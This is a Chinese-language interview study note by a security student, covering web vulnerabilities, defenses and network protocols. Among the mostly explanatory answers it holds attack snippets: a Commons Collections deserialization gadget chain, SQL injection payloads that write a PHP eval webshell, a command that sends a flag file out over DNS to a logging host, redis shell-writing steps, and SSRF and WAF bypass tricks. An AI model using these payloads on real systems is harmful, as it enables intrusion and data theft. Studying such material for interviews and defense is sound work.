前言:

这里总结一下我在进行面试复习的时候复习的知识点,根据网上各位师傅的面试经验进行问题回答总结,留作记录,每个问题的回答是基于本人情况并且站在自己的角度如何在面试中回答这个问题而写的。

[TOC]

自我介绍:

我叫徐俊杰,今年大三,所学习的专业是渗透与测试,是学校CTF战队NYSEC的副队长,经常参加CTF比赛,也取得过一定的成绩.在安全方面除了通过CTF竞赛学到的安全知识外,在实战黑盒测试中:也有自己提交过SRC,在白盒测试中对开源cms以及快速建站系统等web程序审计并且发现漏洞提交到CNVD漏洞平台有自己的cnvd编号,平时会跟进一些热点漏洞,平时常常写一些安全小工具来为自己所使用

渗透测试流程

1.明确目标

2.分析风险,获取授权

3.信息搜集

4.漏洞探测

5.漏洞验证

6.信息分析

什么是泛解析,在处理子域名爆破时泛解析应该如何处理?

泛解析是指当我使用通配符把*.abc.com解析到1.1.1.1这个ip上时,用户访问xxx.abc.com都会被解析到ip:1.1.1.1上面,这使得域名可以无限支持子域,但是在我们进行子域名爆破的时候就会出现问题,因为任何子域名都会被解析到1.1.1.1上去,如何解决呢?通过解析一个不可能存在的域名(比如解析一个MD5加密后的值拼接的子域名),如果仍然解析成功证明该域名存在泛解析

protobuf相关

protobuf是谷歌提供的一种数据序列化协议可跨平台跨语言,他很好的处理了反序列化漏洞的问题,因为protobuf在IDL中定义了package的范围

fastjson

fastjson,序列化过程将java对象转换为json字符串

抓包构造json请求包,通过报错信息判断是否为fastjson

fastjson组件在调用JSON.prase的时候通过@type字段来指定JSON还原什么样的对象(TemplatesImpl,JdbcRowSetImpl(jndi注入)),就会进行反序列化生成对象,最后通过控制lookup参数造成JNDI注入,在进行生成对象的时候会给属性赋值

Common

phpinfo关注的信息

关注session的临时文件夹路径信息(可存在文件包含利用)

关注php版本,对应漏洞只有对应php版本可以触发

通过phpinfo可以暴露对应站点使用的服务如redis,等服务

phpinfo可以泄露真实ip

phpinfo查看支持协议,如支持gopher协议就能配合ssrf漏洞进行利用

说一个自己感觉不错的漏洞

看自己跟过那些洞,先说挖到的CNVD或者一些开源cms,思路开放,逻辑较为简单比较好说

然后说thinkphp反序列化链

然后说thinkphp任意类调用漏洞

然后说最近看的log4j,log4j相对简单且能带着说一下rmi和java的远程调用漏洞

输出到href的XSS如何防御

针对href属性的数据特点进行防御,规定数据只以http/https开头,过滤完成后在进行htmlspecialchars函数处理

SameSite如何防御CSRF攻击?

SameSite通过限制只能同域能访问cookie从而防御CSRF攻击

同源策略

同源策略是浏览器的一种安全机制,同源策略的存在是为了限制两个网站间的数据隔离,使得A网站不能读取B网站的资源

同源指的是同协议,同域名,同端口

Jsonp

jsonp是一种跨域解决方案,通过将回调函数发送给服务器,服务器返回json参数,是CSRF漏洞的一种,通过诱导用户点击存在jsonp劫持的页面,将执行恶意页面的代码携带用户的cookie去请求数据,并且触发恶意html页面的回调函数将数据存储到黑客服务器,然后再进行重定向到正常页面用户无法发觉

jsonp劫持可能存在的地方

1.referer过滤不严格

2.空referer

3.token可重复利用

4.conten-type编码不符合标准(宽字节注入)

5.未严格过滤

实现原理

动态创建script标签,利用script的src不受同源策略约束来跨域获取数据

Jsonp防御

1.限制referer

2.生成随机token

3.限制回调函数的长度以及名称(如不限制可造成XSS),JSON服务端设置Content-Type就能防御XSS;

referer验证绕过/空referer:

data URI不会发送referer头,可以绕过referer检测

iframe标签+js为协议

meta标签

HTTPS向http发起请求

CSRF更好的防御方式有哪些?具体如何实现?

通过成熟的csrfToken进行防御

限制refer(可被篡改)

JSON格式的csrf如何防御

用户操作验证(验证码)

来源请求验证(验证referer)

表单token验证(csrftoken)

浏览器解析顺序

1.网络部分

用户发起网络请求包->服务器对网络请求包进行分析,资源定位->后端处理后将处理后的数据返回给前端

2.浏览器处理部分

浏览器接收到响应数据后会对HTML进行解析并构建DOM树,CSS被CSS解析器解析为CSS样式表

当解析器遇到<script>标签的时候对HTML的解析将会暂停,由Javascript引擎进行分析,<script>标签被解析完成后会继续往下执行html标签,所以将js放在dom生成的最后可以在dom完全加载后对dom进行操作

浏览器解码顺序

0.浏览器解码主要三个过程,html解析,css解析,js解析,url解析

1.url解码:服务器接受用户的url请求,对%开头的数据进行url解码

2.HTML解析器:通过<>符号来开启是否解析为标签(在这个过程中就会进行html的解码),HTML编码只会在数据段(标签外部和标签的text段)

3.解码顺序:HTML解码->JS解码->URL解码

浏览器自解码

例子:()为&#40,&#41,浏览器认识,解码

1.HTML自解码:html编码方式有进制编码和实体编码,比如img标签中的onerror,将其后面的值进行10/16进制编码/实体编码(将保留字符&<>”=>”解析为了特殊的形式)/后浏览器解析的时候会自动进行解码,但是onerror不能被编码,因为是控制字符,编码后将会被识别为纯文本,不会被解析成DOM

2.JS自解码,还是以img中的onerror为例,可以将其内容进行Unicode,十进制/十六进制编码,在JS中单引号,双引号,括号属于控制字符,编码后无法解析,所以防御的时候只用将这些控制字符编码即可,浏览器先进行HTML自解码

3,css自解码

反斜杠+1-6位十六进制数字组成,HTML解析器优先于CSS解析器

4.URL自解码

在js中的href标签会先进行url解码,也就是说加入在a标签中存在href字段时,解码顺序就是HTML解码->href解码->js解码->href解码

为什么html实体编码能够防范XSS漏洞?

1.涉及到浏览器解码顺序

因为浏览器的解码顺序规则,导致html编码只能在标签外部或者标签内部的text段被解析,因此形如下面的xss代码就不会执行,因为html实体编码位于标签内部,不会进行html实体编码

XSS 弹 alert 有那些方法

1.直接stript标签直接弹

2.javascript:弹

3.<img src=x onerror=alert(1)>图片标签onerror弹

4.unicode弹

5.top对象调用弹

XSS,DOM,反射区别,自动化防御

反射型:用户通过输入恶意xss代码,经过服务器后返回给浏览器进行触发

DOM型:不通过服务器,直接由网页本身渲染触发

防御:对输出进行htmlspecialchars进行实体编码,注意此函数默认不编码单引号需要进行设置

对输入进行过滤,比如在href处就必须指定以http/https开头

XSS出现的根本原因

用户的数据被当作HTML代码的一部分被浏览器解析执行了,通过拼接,插入,截断的方式更改原有的语义,产生了新的语义

XSS防御措施

1.html实体编码

2.CSP安全策略,可以禁止加载其他域的文件,禁止向第三方提交信息,禁止执行未授权脚本,通过report-uri可以及时发现请求的资源不被允许时是往那个地方请求的,快速发现xss漏洞

3.httpOnly属性禁止盗取cookie

MXSS(突变xss)

1.在一些场景中,经过服务器过滤的html文本在被解析的时候真实的dom结构和预期dom结构存在差异导致以外执行XSS

2.常见的如反引号打破边界属性,未知元素xmlns属性(可以在html中定义这些未知标签的xmlns属性),这样在服务器检测的时候确实通过了检测,但是被浏览器渲染你的时候由于环境发生变化,和服务器认知不同,产生了解析不同导致xss

3.Listing标签,css属性名转义\22转译为”

伪随机数

1.通过信息泄露,源码泄露,文件读取等方法拿到种子,即可获取随机数规律

PythonSSTI相关说辞

模板注入,过滤绕过看对应总结文章

一个单位的一级域名可能不止一个,怎么收集某个单位的所有域名,注意不是子域名

通过网络空间搜索引擎进行资产的搜集

通过企查查,小蓝本等网站查询

sqlmap高级使用(过滤,条件)

SSRF 绕过

用@绕过,www.baidu.com@10.10.10.10

用ip地址转换成进制绕过8进制0300.0250.0.1 16进制0XC0.0XA8.0.1 10进制:3232235521 16进制0XC0A80001

10.0.0.1可以写成10.1

301,302跳转绕过,会继续请求跳转后的url

短网址绕过

封闭式字母数字Enclosed alphanumerics

利用dns解析服务想xip.io解析

句号绕过

dns重绑定绕过

畸形ip

封闭式字母数字Enclosed alphanumerics

用ip地址转换成进制绕过8进制0300.0250.0.1 16进制0XC0.0XA8.0.1 10进制:3232235521 16进制0XC0A80001

句号绕过

后端对URL解析不当造成,根据解析规则构造payload绕过

DNS重绑定原理

A记录域名->IP

CNAME记录->域名别名

NS记录:域名服务器

1.利用时间差,在域名服务商处设置TTL值为0,后端解析host为ip,确认无误后执行curl发起第二次请求,此时TTL值为0,再次请求会重新解析,利用时间差更换记录即可

TTL为0失效,DNS服务器:114.114.114.114不按照标准协议,8.8.8.8可以利用

2.设置多条A记录,随机到内网地址

3.自建DNS服务器

短网址原理

http://aip/asdwsad32

asdwsad32则是对应网址编号,查询到对应ip地址,301跳转

301永久

302临时

SSRF伪协议合集

file://文件读取

gopher://攻击内网应用

dict://端口探测,泄露安装软件版本信息

http://端口探测

SSRF利用,最大程度利用,进内网,拿shell

1.如果使用system(curl,””)拼接,可以直接getshell

2.file:///读文件,读数据库配置文件,开启远程链接直接连,读源码,找漏洞

3.dict://测端口,redis,等服务

3.gopher://发post,get包,打内网应用,打redis

SSRF到getshell

redis未授权,mysql未授权,弱口令,redis写文件,mysql写shell,intofile,日志shell,udf提权等

SSRF怎么修复

代码层面

1.设置白名单,首先针对host进行校验,防止被其他格式的ip地址绕过如8进制/16进制/10进制整数格式绕过,在根据白名单放行二级域名

2.限制访问协议只能为http/https,检测是否存在特殊字符,设置setInstanceFollowRedirects为false禁止302跳转

3.解析url域名对应的ip地址,首先经过过滤后确认ip地址不是内网地址,然后访问对应资源,可以防范DNS重绑定,**此修复方案可能会出现的问题:**请求某些资源时会对host进行检查判断host是不是域名,如果是就会拒绝

**修复:**使用setRequestProperty设置host头为域名,对应代码处也需要做一定的修改,JAVA中调用System.setProperty(“sun.net.http.allowRestrictedHeaders”, “true”)

服务器层面

1.设置一个代理服务器专门用来访问外部资源,此服务器与内网隔离,就算出现SSRF威胁也不会危害到主服务器

python 的装饰器,迭代器,yield

RASP防御,结合sql

运行时保护

PHP底层如何判断变量类型?

PHP通过一个结构体存储所有类型的变量,这个结构体表示一个php变量,这个结构体中有一个zvalue字段,存放的是一个指针,在_zval_value结构体中存放着不同的数据类型,当zval字段指向这个结构体中的不同数据类型,这个php变量结构体就是这样的一个数据类型

绕过WAF常用方式?

1.发送很大的请求包使得WAF处理超时

2.Mutilpart变量绕过,有些WAF在存在filename属性的时候会不进行检测

3.构造畸形请求包,破坏一些参数使得waf无法正常识别,但是中间件会兼容识别

4.编码绕过

5.重复变量绕过

6.参数污染,相同参数,多参数

7.分段传输绕过需要在请求头中添加Transfer-Encoding:chunked字段

8.SSRF绕过

9.DNS解析绕过,云waf,cdn,通过网络空间搜索引擎去查找真实IP地址

富文本

一大段html,需要引用一些html样式

富文本XSS和非富文本XSS修复方式区别?

1.非富文本可以使用html实体编码,关键字过滤,href处检测http/https开头,后白名单过滤

2.富文本使用白名单,只允许白名单中的标签和属性,可以使用预防xss的一些组件来设置白名单(npm instal xss)

websocket链接过程

websocket基于TCP协议,首先客户端与服务端建立TCP链接,然后发起HTTP请求,在HTTP请求中设置connection字段为upgrade表示告诉服务器我这请求将升级为websocket,对应的upgrade字段为websocket,服务端接受了请求,建立websocket链接,然后开始传输数据

零信任

永不信任-始终验证:不存在受信任的网络,每次操作都必须经过身份验证才能被执行

入侵检测:HIDS,NIDS

HIDS:可以动态检查网络数据包,检测程序访问的内部资源以及各种存储信息的操作,核对是否符合预期(将文件状态进行记录,放入安全数据库(校验码数据库))

NIDS:网络入侵检测,从TCP/IP消息流中识别出潜在的攻击行为

ddos类型,如何防御?

1.TCP洪水(SYN),TCP协议缺陷,大量伪造的IP地址发送TCP链接的第一个包,服务器需要对其进行回复,且不会得到回复,造成资源浪费,正常服务堵塞

2.cc攻击,发送大量HTTP请求以耗尽资源

3.DRDOS,构造带有被害ip地址的数据包给攻击主机(DNS,NTP服务等),利用他们的回复包形成ddos攻击

防御措施:

1.硬件防火墙

2.加大带宽

3.负载均衡

4.CDN加速

如何判断用户是否为正常用户

1.判断是否经常对登录界面进行多账号/密码登陆尝试

2.判断是否经常尝试请求一些敏感页面

3.判断该用户所发出的请求是否包含一些敏感字段,特殊符号

4.判断其所用的请求头

企业内部如何做隐私保密

1.使用加密软件对电脑中的数据进行加密,使其脱离环境即便被盗取也无法被解密

2.对企业所有出网流量做全流量监控,探测敏感数据

php disablefunction绕过

1.寻找为未禁用的函数如popen,proc_open,pcntl_exec

2.LD_PRELOAD劫持系统函数

3.mod-cgi:配置.htaccess文件可以允许一个目录执行cgi程序并指定后缀,从而执行对应的代码,不受disable_function限制

4.php溢出

java/php/python反序列化产生原因,如何防御

1.java是因为java中在反序列化一个对象的过程中会调用其静态代码块/构造函数内的代码,并且如果被反序列化的对象重写了readObject方法,那么也会执行readObject方法当中的代码

2.php是因为php在反序列化时在特定条件下触发魔法函数,如destruct,constract,toString,sleep(被序列化之前执行),wakeup

3.python时候由于pickle库在进行反序列化时,在反序列化结束后会自动调用reduce魔术方法中的代码

几乎所有的漏洞都发生在反序列化这个过程中,那么就需要控制反序列化的数据来源,不让外部能有控制反序列化数据的机会即可

https详细过程

1.客户端通过SSL/TSL协议向服务端发发送自己支持的加密协议

2.服务端选择合适的加密协议并且返回证书,公钥

3.客户端通过根证书检验整数合法性

4.客户端生成对称密钥,通过公钥加密发送给服务器

5.服务器解密密文,获得对称密钥

6.双方都获得了对称密钥,开始通信

CDN绕过

1.通过多地ping判断是否存在cdn

2.一般子域名没有CDN加速,通过子域名获取真实ip

3.国内网站通过国外ping获取真实ip

4.历史DNS解析

5.通过icon利用网络空间搜索引擎查找

6.邮件系统寻找

7.信息泄露

8.如果直接ip不能访问,说明做了域名绑定

linux/windows提权

1.linux提权:利用计划任务提权,suid提权,内核提权如脏牛提权

2.windows提权:利用最新漏洞,历史漏洞提权,用metasploit中的service_permissions模块

浏览器输入一个url过程是什么样的,可能会产生哪些安全问题(https,中间人)

浏览器在对一个url发起请求的过程:首先通过DNS解析对应的ip地址,通过三次握手与ip地址对应服务器建立TCP链接,建立连接后浏览器发送HTTP报文,服务器处理报文,做出响应,返回给浏览器资源,浏览器解析资源呈现给用户

可能存在的安全问题http:在这个过程中都是暴露在互联网上的,我们可以随意截获浏览器发送的请求

使用HTTPS进行加密通信,可能存在中间人攻击,在建立https链接时服务器会向客户端返回公钥,这个时候中间人将这个公钥替换为自己的公钥即可控制两端的通信并且不会有所察觉,因为这个时候对于客户端和服务端来说她们都是在和中间人通信,这个时候就出现了证书来辅助验证公钥的合法性

Log4j有关

Log4j在处理不同日志等级的时候有不同的策略,在某些错误等级下会将带有${}的日志消息进行解析,payload形如XXXX:XXXXXX,底层原理是如果日志消息中存在形如${}的字符串,则取出中间的内容,并按照引号分割,引号左边则作为lookup类型,内置有11个lookup类,将其冒号右边的内容放入对应的lookup类进行执行,如jndi就会放入jndi的lookup类中,执行远程方法调用,此时伪造恶意远程服务器就可以造成反序列化漏洞从而RCE

CC链有关

CC1

1.CC1每个transformer的区别

使用TransformedMap

Transformer[]:存放触发链条的地方,一个存放transformer类型的数组

ConstantTransformer:在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回,起包装作用

InvokerTransformer:其实现的transform方法会通过反射调用任意方法

1
2
3
4
5
6
7
new ConstantTransformer(Runtime.class),//将Runtime.getRuntime包装成为Transformer
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),

new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"})

ChainedTransformer 将Transformer[]中的Transformer连在一起,实现了transform接口,将前一个回调的结果作为后一个回调的输入

1
Transformer transformerChain = new ChainedTransformer(transformers);

TransformedMap,给map对象上回调,规定对新元素key或者value的回调,在被装饰的map对象调用set或者get方法时,触发transformerChain中的链式调用

1
Map outherMap = TransformedMap.decorate(innerMap, null, transformerChain);

AnnotationInvocationHandler:他的readobject方法中会遍历map并调用set方法设置新元素从而触发TransformedMap的回调transformerChain,并且他实现了Serializable接口,可以被序列化

使用LazyMap

TransformedMap利用的是AnnotationInvocationHandler在被反序列化时其readObject中存在给map新增元素的操作进而会触发回调transformerChain

而LazyMap利用的是LazyMap的get方法会调用transform,而AnnotationInvocationHandler中的invoke方法中会调用LazyMap的get方法,从而形成调用链,而要使得调用AnnotationInvocationHandler的invoke就得将我们构造的map对象使用AnnotationInvocationHandler进行代理,使AnnotationInvocationHandler成为我们构造的map的代理类,从而在执行代理类的任意方法时都会触发invoke方法从而触发反序列化

CC6

和CC1一样,只是触发Lazymap#get的路线改变了,TiedMapEntry的hashCode方法调用了getValue方法,而getValue方法中调用了map#get方法,而我们让此map为Lazymap则就可以调用到Lazymap#get

而hashMap的readObject方法中存在hash方法,而hash方法又会触发TiedMapEntry的hashCode方法,HashMap可以被序列化,于是整条链子就出来了

Struct执行流程

xxxxxxxxx

XXE

1.XXE外部实体注入,如果目标开启外部实体并且存在可控的输入并且没有做出足够的过滤的话就能是使用一些为协议进行探测,文件读取

攻击类型:

1.inband(带内):读取文件,带内容

2.oob:通过dtd访问远程文件将数据带出

3.在目标不能联网通过报错的形式,先带出数据,然后使其后面的语句报错

**防御:**禁用外部实体

JNDI解析流程意义及原理

JNDI,将java对象以某个名称的形式绑定到一个容器环境当中,以后调用容器环境的查找(lookup)就可以查找出某个名称绑定的java对象了,它可以降低配置参数和代码的耦合性

shiro判断密钥是否正确

当key错误的时候,rememberMe字段的值是deleteMe

PHP常见cms的方法调用方式

1.MVC框架,如thinkphp,通过路由的形式调用,如:模块/控制器/方法/参数/参数值

2.通过传递参数的形式决定调用哪一个类,以及类中的方法

Thinkphp5路由设计思路

默认路由1.模块/控制器/行为/参数/参数值

开启强制路由就需要定义自己的路由,不能随便访问

介绍自己的工具(idea的dnslog插件,nmap扫描器,语义分析插件等)

1.我用使用idea插件开发配合dnslog平台实现了dnslog触发弹窗提醒功能

2.基于nmap实现了对内网进行扫描存活ip地址并根据需求存储,探测其端口,web服务的title等字段,完成自动化信息搜集

拿到一份代码,如何下手

1.首先搭建本地环境,搭建debug测试环境,构造测试数据方便测试

2.大致阅读代码,查看是不是使用基于框架开发,

3.读程序执行流程,php站点着重查看如何执行不同的方法,方法调用逻辑等

4.由功能点定位代码,先看敏感权限功能如涉及文件上传,文件下载,文件删除,执行sql语句更改用户权限名称等高权限操作,看是否存在漏洞

5.挖越权,一般涉及越权的都是高权限页面如管理员页面等,许多框架/cms会写一个基类包含鉴权的代码,然后在每个控制器中继承这个基类,着重看有没有漏写的,或者看基类中的鉴权逻辑是否有问题

6.使用forify扫一下,根据给出的警示人工筛选

7.以上工作全都完成就需要

如何判断这个站是哪一个框架写的(有源码,无源码),审计基于框架开发的代码需要注意什么?在审计过程中和审计不带有框架的代码有什么区别?关注点上有什么不同?

无源码:

1.直接在页面底部看

2.尝试访问站点不存在的路由,触发报错信息

3.通过响应头,cookie字段判断

4.看url,如果请求类似.do就可能用了struct中间件

有源码:

1.java,看用了那些包,依赖

2.php,看文件/方法结构

反序列化开始,入手点

1.魔法函数,destruct,wakeup,construct,tostring

2.cookie处反序列化

利用内网机器请求内网服务

PHP代码常见入口函数怎么找?

1.一般根目录index.php会调用入口函数

PHP变量覆盖,php两个等号和三个等号的区别(底层回答)

1.变量覆盖,extract,可以将前面的变量值进行修改

2.在==和===的底层实现中,由于php弱类型的原因,==的底层实现进行了很多的判断,和数据类型的转换,这就出现0E会被解析为科学计数法(0),0x会被解析为十六进制,正是php自己进行数据类型转换的过程导致了弱类型相等的漏洞出现,而===的底层实现就简单很多,不去做类型转换,只有在两边操作数类型一样的时候才会进行判断,否则不会判断

redis利用方式

1.未授权访问,写shell,config set 目录;config set dbfilename 要写文件的目录,set x “”写入内容,save,写shell

2.主从复制,通过加载.so文件

任意文件下载如何利用

1.下源码,审计漏洞

2.下数据库配置文件,尝试远程链接

3.下载敏感文件,信息搜集

REC不出网,利用思路

判断对应目标用了什么数据库

1.通过sql报错来看

2.有源码或者任意文件下载拿到源码的话查看配置文件看查询语句,数据库配置文件等

防止重放攻击

1.将时间戳进行加密

2.将接收到的参数进行hash,比对60秒内同以用户的hash是否一致

JWT令牌

1.头部->负载->签名组成,服务器每次将头部和负载拼接的结果按照自己的密钥加密放在第三部分(签名组成)

2.jwt伪造,如果通过各种途径泄露了jwt令牌密钥,或者密钥不长使用jwtcreacker,那么就能够利用密钥给自己签名,伪造jwt数据欺骗服务器

AJAX发送POST发送几个数据包?

1.2个数据包,一个装载头信息,一个装载POST正文

AJAX如何发送post请求

1.创建异步对象xmlhttp

2.设置请求方式和地址

3.发送请求(如果是表单数据,需要使用setRequestsHeader添加HTTP头)

4.监听状态变化

5.处理返回结果

自动化代码分析fortify,seay等,使用过吗,原理是什么?

1.使用过,fority是将代码统一为一种中间格式的语言代码,然后通过静态分析分析这种中间格式的语言代码从而分析其执行逻辑找出可能存在漏洞的地方

2.seay检测敏感函数

windows横向移动

站库分离如何拿webshell

1.找其他入口点,文件上传等

linux,windows命令:过滤文件,查看进程环境变量,看进程pid

linux:

查进程:ps -aux | grep 进程名

-a 显示终端下执行的进程

-u 显示用户相关的进程

-x 显示所有进程

查端口:

lsof -i:xxx

查文件:

find 目录 / -name 文件名

查进程环境变量:

查进程号,然后

cat/proc/environ

windows:

查进程

netstat -ano

a:端口

n:显示地址和端口号

o:显示pid

查端口

netstat -ano | findstr xxx

杀进程

taskkill -pid

Python多线程,python多线程锁

1.GLI锁会影响多线程性能

2.多进程multiprocessing

如何检测webshell

1.检测敏感函数

2.通过访问量进行筛查

3.请求UA单一

4.访问时间在非工作时间

动态沙箱检测

webshell检测绕过

1.HIDS文件内容缓存绕过,文件名hash碰撞

2.PHP旧版本中preg类函数如preg_replace存在修饰符e,会将替换后的结果放入eval函数执行,

preg_replace函数的第一个参数支持传入字符串或者数组,传入数组可绕过引擎检测

php底层对第一个参数的处理是跳过对\n,空格,这两个字符的判断的,我们可以构造preg_replace(‘\n\n\ne\n\n\n’,’\0’,$shell)来绕过引擎

攻击溯源思路

DNS协议安全问题

CORS

简单请求:向服务器发起请求,加上origin给服务器检查,服务器返回cors头给浏览器,浏览器检查cors头,如果包含了当前的一个源则放行,否则拦截

复杂请求:在进行简单请求的基础上发起真正请求,返回数据

遇到过比较难的CTF题目

1.线下题目,go语言,有一个文件上传结构,拿到源码审计后发现有一个参数可以可控环境变量,文件上传满5个使用curl命令请求另外一个端口的服务清楚文件夹内容,直接想到了LD_PRELOAD劫持动态链接库劫持curl命令

2.HTTP请求走私,利用gunicorn 请求走私,前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-LengthTransfer-Encoding 标头。

CL不为0,CL-CL(两个cl),CL-TE(后端忽略cl,处理TE),TE-CL(前端TE,后端CL),TE-TE(都是TE,但是可能容错性不一样)

CTF经历:

最开始就通过打一些难度不是特别大的比赛hackgame,新生赛,BUUCTF办的比赛来培养兴趣,对网络安全有了一定的认知后开始尝试打一打国外的比赛以及国内的大比赛像湖湘,强网,王鼎,全国大学生,战队办的N1CTF,D3CTF等,国内企业办的pwnhub,虽然不一定能做出来很多题,但是每次都会有提升,会学到新的trick

分享trick

P牛:环境变量注入,在centenos下由于控制ENV $()可执行命令的问题,利用BASH_FUNC_XXX%%创建函数然后执行bash -c 执行xxx函数,导致直接命令执行

环境变量WGETRC可指定wget

环境变量ld_preload

构造出错的压缩包

sql注入基础类:

mysql8新特性table/value

table绕过select过滤,table不支持where字句

values

1
2
3
4
5
6
id=0 union values row(database())
0 ||('1','')<(table users limit 1)#字段数
id=0 union values row(load_file('/flag'))#读文件
id=0 union values row(0x3c3f706870 406576616c28245f504f53545b315d293b3f3e)
into outfile '/var/www/html/shell.php'#写shell
(1,'a','a') <(table users limit 1 offset 1);#盲注

sql注入爆库,表,字段

information_schema存储了库.表,字段

如果被BAN了,在MYSQL5.7中

如果有自增ID,则使用视图sys.schema_auto_increment_columns

如果没有自增ID,使用schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer(I/O延迟时间)

如果开启innodb引擎,可以通过 mysql.innodb_table_stats,mysql_innodb_table_index,默认不开

通过无列名注入注字段,join

sql注入原理

sql注入是代码在与数据库交互的过程中执行的sql语句中存在用户可控的字段,输入恶意内容即可闭合原有sql语句和产生新的sql语义,导致恶意用户可以直接控制执行的sql语句从而造成注入

dnslog外带数据

Mysql:loadfile函数,只能用于windows系统,secure_file_priv=””,因为windows系统支持UNC路径,带出时使用hex编码,确保dns正常解析

dnslog原理

dnslog是存储在DNS服务器上的域名信息,记录着对域名的访问信息,也就是说我们对a.com这个域名的请求信息会被记录,此时我们将参数拼接到三级域名上,b.a.com,你那么就会记录下这次dns解析请求,从而带出数据

在不一样的环境下利用不同方法带出数据

命令执行:

| 管道:上一条命令的结果作为吓一跳命令的输入

|| 上一条命令失败后执行

& 后台运行

&& 上一条命令成功后执行

a=`cat /flag | base32` && b=${a//=/} && echo &&ping $b.1232a822.toxiclog.xyz

java环境:

sys:java.verison

sys:user.dir

java:os

env:HOSTNAME

windows环境

%COMPUTERNAME%

%OS%

%USERNAME%

如何防御

预编译

1.预编译:预编译的原理:一个正常的sql语句执行流程是:被mysql解析为语法树,预处理器验证语法树,然后执行,在传入参数的过程中sql语句已经被解析为语法树了,无论输入和等数据,语法树不会再变化,从而杜绝sql注入的发生

2.不当使用可能会造成注入,没有按照参数绑定来进行预编译

3.表明,列名不能被预编译,预处理器在检查生成的语法树时会检查表是否存在,所以表名,列名不能作为占位符

4.order By后的数据和排序方式ASE/DESC也不能被预编译

waf

1.过滤关键字,敏感数据

对返回的值进行过滤

1.在返回数据时进行过滤,即使出现sql注入也能防止回显,保证数据不被窃取

二次注入

1.在一个站点的某处sql处向数据库插入了恶意语句,即便语句被转义

2.站点在其他地方调用该处数据时没有将取出的数据做判断直接拼接使用,造成注入

防御:1.从数据库中取出数据时仍然需要进行转义,不能轻易相信

遇到order by怎么防御

白名单,只允许白名单中的字段进入order by后的字段

转义字符防御时遇到列名或者表明就带有特殊字符应该怎么办

用占位符先占位,等完成拼接并转义后在替换回去

宽字节注入

两个字节的字符就是宽字节,输入特殊字符的时候被转义函数转义,出现%5C(转义符),由于mysql各层的字符集设置不相同,导致在取出数据的时候用新的字符集去解析,将原本的转义符编码和其他字符编码组合形成两个字节的编码形成宽字节进行解析(%df%5c就是汉字運),从而绕过转义符的判断

使用mysql_set_charset指定字符集,同时使用mysql_real_escape_string对其进行转移转义,可以避免字符集不相同导致的%df和%5c发生拼接冲突的问题

过滤””怎么办

1.宽字节注入绕过

2.16进制编码,查询的数据是16进制的话不用使用引号引起来

过滤空格怎么办

1.多行注释/**/绕过

2.%09(tab)

3.()绕过

4.回车%0a,%0d绕过

5./*!….*/内敛注释绕过

过滤=怎么办

1.like,rlike代替等号

2.regexp正则比较

3.<>等价于!=,所以!(<>)即可代表=

过滤or/and怎么办

1.and &&

2.or ||

3.not !

4.xor |

过滤union,select等关键字怎么办

1.双写

2,大小写

3.url编码绕过

过滤,怎么办

1.在substr(“string”,1,3)逗号使用中使用 ”被截取字符串“from 1 for 3

2.在limit中的limit 0,3使用offset绕过,limit 3 offset 0

过滤查询关键字怎么办如select * from xxx where username = “admin”过滤了admin

1.十六进制绕过

时间盲注ban了sleep怎么办

1.执行时间耗时较大的运算如benchmark,计算两个很大的数据库的笛卡尔积

过滤了substr()怎么办

1.LPAD(str,len,padstr)

2.MID()

盲注除了时间,bool还有什么方法

1.regexp盲注

mysql写webshell的原理是什么,写shell的前提是什么?

1.mysql的load_file函数可以将查询结果写入文件,前提是mysql用户必须拥有FILE权限,并且secure_file_priv为空,或路径为web路径

2.mysql写日志,打开日志记录->修改日志保存文件为web目录->执行带有shell的命令->getshell

UDF提权

1.UDF提权利用mysql的用户自定义函数时使用SONAME关键字加载.so文件,so文件中定义一个和mysql中的同名函数并实现命令执行代码,mysql便可以通过自定义函数执行任意命令,如果mysql是以ROOT用户启动的,那么就可以使用ROOT权限执行命令达到提权的作用

协议类:

ICMP协议

ICMP协议是一个网络层协议,和IP协议同层,确认IP包是否到达指定ip,返回错误信息

ARP协议/ARP欺骗:

arp协议用来解析地址,他会通过在本地缓存查找,如果没有会继续在局域网内进行广播从查找对应ip地址主机的对应mac地址

由于arp协议是以广播的形式发送的,局域网内的其他主机可以自主应答ARP协议的消息,这个时候恶意主机就可以恶意的应答一些消息,使错误的ip地址与mac地址的关系存入发送arp请求的arp本地缓存当中,造成欺骗

原来的请求过程是PC1->网关->互联网,然后pc2进行arp欺骗,在pc1进行更新本地arp缓存的时候发送应答将pc2的mac地址发送给pc1,建立错误的arp表关系,以后PC1再次访问网关就会被重定向到PC2处,PC1的所有流量丢都会被PC2所劫持

ARP欺骗防范

1.防火墙监控

2.静态ARP表

3.使用代理

网络模型

OSI七层网络模型

物理层->数据链路层->网络层->传输层->会话层->表示层->应用层

TCP/IP握手

三次握手

1.客户端发起SYN

2.服务端返回SYN+ACK表示确认收到了,ACK+1,表示一次确认

3.客户端再次返回给服务端ACK,此时ACK+1,表示二次确认

四次挥手

1.客户端发出FIN请求断开连接,附带seq字段表示本次数据序列

2.服务器回复ack表示已经收到数据,ACK表示以正确收到断开连接请求

3.服务器回复客户端seq表示本次数据序列号,同时回复FIN请求表示没有数据需要发给客户端了,请求断开链接

4.客户端回复ack确认收到对应序列号的数据了,客户端回复ACK表示正确收到服务器发送的断开链接请求

UDP

UDP是基于IP的简单协议,不用建立链接就可以带着目的端口和源端口进行通信